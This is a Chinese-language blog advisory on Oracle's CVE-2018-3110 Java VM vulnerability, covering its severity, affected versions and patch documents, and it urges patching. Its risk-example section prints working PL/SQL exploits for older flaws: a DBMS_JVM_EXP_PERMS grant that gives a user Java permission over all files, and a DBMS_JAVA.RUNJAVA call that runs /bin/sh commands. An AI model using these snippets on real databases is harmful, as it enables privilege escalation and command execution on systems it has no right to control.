1. 程式人生 > >資料安全:獨立釋出的Oracle嚴重 CVE-2018-3110 公告

資料安全:獨立釋出的Oracle嚴重 CVE-2018-3110 公告

更多資料庫諮詢精彩早知道:“資料和雲”公眾號

在 2018年8月10日,Oracle 獨立的傳送了一封"安全警告"郵件給所有的 Oracle 使用者,這封郵件的標題是:Oracle Security Alert for CVE-2018-3110。這也是今年 Oracle 第一次獨立針對一個 CVE 安全風險釋出預警。

正常情況下,Oracle 每個季度釋出一次安全補丁更新,今年的下一次釋出應該在10月16日。所以針對 CVE-2018-3110 的預警就非常值得大家重視。

CVE 的英文全稱是“Common Vulnerabilities & Exposures”公共漏洞和暴露。CVE就好像是一個字典表,為廣泛認同的資訊保安漏洞或者已經暴露出來的弱點給出一個公共的名稱。幫助使用者在各自獨立的各種漏洞資料庫中和漏洞評估工具中共享資料,CVE因此成為了安全資訊共享的“關鍵字”。在一個漏洞報告中指明的一個漏洞,如果有CVE名稱,你就可以快速地在任何其它CVE相容的資料庫中找到相應修補的資訊,解決安全問題。

預警的郵件內容如下:

預警1.jpg

影響範圍和版本

CVE-2018-3110 影響範圍是所有當前在支援的資料庫版本,但是一部分版本已經在2018年7月的CPU中修訂,所以如果此前應用了 7 月的CPU,則本次主要針對Windows 提出修訂,還有主要是針對剛剛釋出的 Oracle 18.3 版本的修正。

詳細說明如下:

  1. 修正了Windows上版本11.2.0.4和12.2.0.1中的Oracle資料庫漏洞。 CVE-2018-3110的CVSS v3基本分數為9.9,可能會導致Oracle資料庫和對底層伺服器的shell訪問完全受損。 

  2. CVE-2018-3110還影響Windows上的12.1.0.2以及Linux和Unix上的Oracle資料庫,但是這些版本和平臺的補丁包含在2018年7月的CPU中。

如果您在Windows上執行Oracle資料庫版本11.2.0.4和12.2.0.1,請應用下面指出的修補程式。 如果您在Windows或Linux或Unix上的任何版本的資料庫上執行版本12.1.0.2並且尚未應用2018年7月的CPU,請執行此操作。

由於此漏洞的性質,Oracle強烈建議客戶立即採取措施。

除了以上宣告的版本,其他過期版本同樣會受到影響,只是 Oracle 不再單獨列出和提供獨立的補丁而已。

嚴重程度

本次警告之所以獨立發出,重點預警,是因為這個漏洞的危險性非常高,CVSS V3的評分高達 9.9 ,也就幾乎是能夠『完全控制系統』的安全威脅。

CVSS : Common Vulnerability Scoring System,即“通用漏洞評分系統”,是一個“行業公開標準,其被設計用來評測漏洞的嚴重程度,並幫助確定所需反應的緊急度和重要度”。  CVSS的目標是為所有軟體安全漏洞提供一個嚴重程度的評級,這個評分系統把能夠完全攻破作業系統層的已知安全漏洞評為基準分數10.0分。換句話說,CVSS基準分數為10.0分的安全漏洞一般指能夠完全攻破系統的安全漏洞,典型的結果是攻擊者完全控制一個系統,包括作業系統層的管理或者“根”許可權。

當然這個漏洞是需要前提條件的,CVE-2018-3110 需要一個數據庫使用者,具備最基本的CREATE SESSION,也就是說能夠建立會話,連線到資料庫。然後,基於對於公共 JAVA 物件的訪問,獲得許可權提升,直至全部控制資料庫。

這個漏洞的元件是:Java VM。

預警2.jpg

在 2018年7月釋出的CPU中,包含的 CVE-2018-3004 是和 3110 同源的漏洞,是在上一次實現攻擊的基礎上,有了進一步的簡化攻擊,從而其風險分值上升到 9.9 。

預警3.jpg

補丁列表

在 MOS 的以下文件,可以找到適用於各個版本的補丁:

Critical Patch Update (CPU) Program July 2018 Patch Availability Document (PAD) (文件 ID 2394520.1)。

針對 Oracle 18c ,也就是剛剛釋出的 18.3 以及 12.2 的補丁列表如下,大家可以通過MOS找到適用於自己環境的補丁:

預警4.jpg

風險示例

很多客戶可能會關心,如果不升級,到底會有多大的影響?

有些安全漏洞,需要特殊的許可權,複雜的攻擊注入方式,所以及時存在,重現不容易,威脅也就不大,例如2018年1月釋出的安全補丁,其中一個漏洞已經存在了很久,以下連線中重現了 CVE-2017-10282 漏洞,其評分是 9.1 :

而本次警示的 CVE-2018-3110 其評分是 9.9 ,需要的許可權更少,更容易重現。

除非您能明確控制 Java VM 元件物件授權,並且能夠確保每一個連線資料庫的使用者的身份和操作控制,否則強烈建議應用補丁,防範風險。

如果你不需要JAVA元件,建議在安裝資料庫時不要選擇,否則就可能面臨一系列的麻煩。在 Oracle 11.2.0.1 版本中,就曾經幾度發生過注入漏洞。

這些麻煩多數是過度授權,將一些JAVA物件授權給 Public 執行許可權,就導致了問題。例如 11.2.0.1 的 CPU 修正 9454036,其補丁指令碼 jvm_exp.sql 的最後一段正是對於許可權的回收,這個命令回收了 create session 使用者也能執行 DBMS_JVM_EXP_PERMS 的問題:

begin

initjvmaux.exec(‘revoke execute on sys.dbms_jvm_exp_perms from PUBLIC’);

exception

when others then

if sqlcode not in (-01927, -06550, -06512) then raise; end if;

end;

/

關於 DBMS_JVM_EXP_PERMS 的執行許可權的漏洞是,可以通過類似如下程式碼給自己授予JAVA的系統執行許可權,就可以隨時提權成為DBA了:

DECLARE

POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,’ENABLED’ from dual;

BEGIN

OPEN C1;

FETCH C1 BULK COLLECT INTO POL;

CLOSE C1;

DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

END;

/

此前 CPU 修訂的另外一個漏洞則是和 DBMS_JAVA 的執行許可權有關,通過這個Package的呼叫,可以隨意執行系統命令,進一步提升許可權:

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/sh -c /usr/bin/id>/dev/shm/out') FROM DUAL;

這些方法都是在『DBA的暗世界』裡廣為流傳的,如果您的資料庫不能及時應用修正,又缺乏良好的許可權控制,那麼你的資料就早已經是明朗的天空了。

如果您還執行在低版本的資料庫上,建議大家關注安全問題了。

參考文獻:

Critical Patch Update (CPU) Program July 2018 Patch Availability Document (PAD) (文件 ID 2394520.1)

我的部落格即將搬運同步至騰訊雲+社群,邀請大家一同入駐:https://cloud.tencent.com/developer/support-plan?invite_code=1hgka56hiexc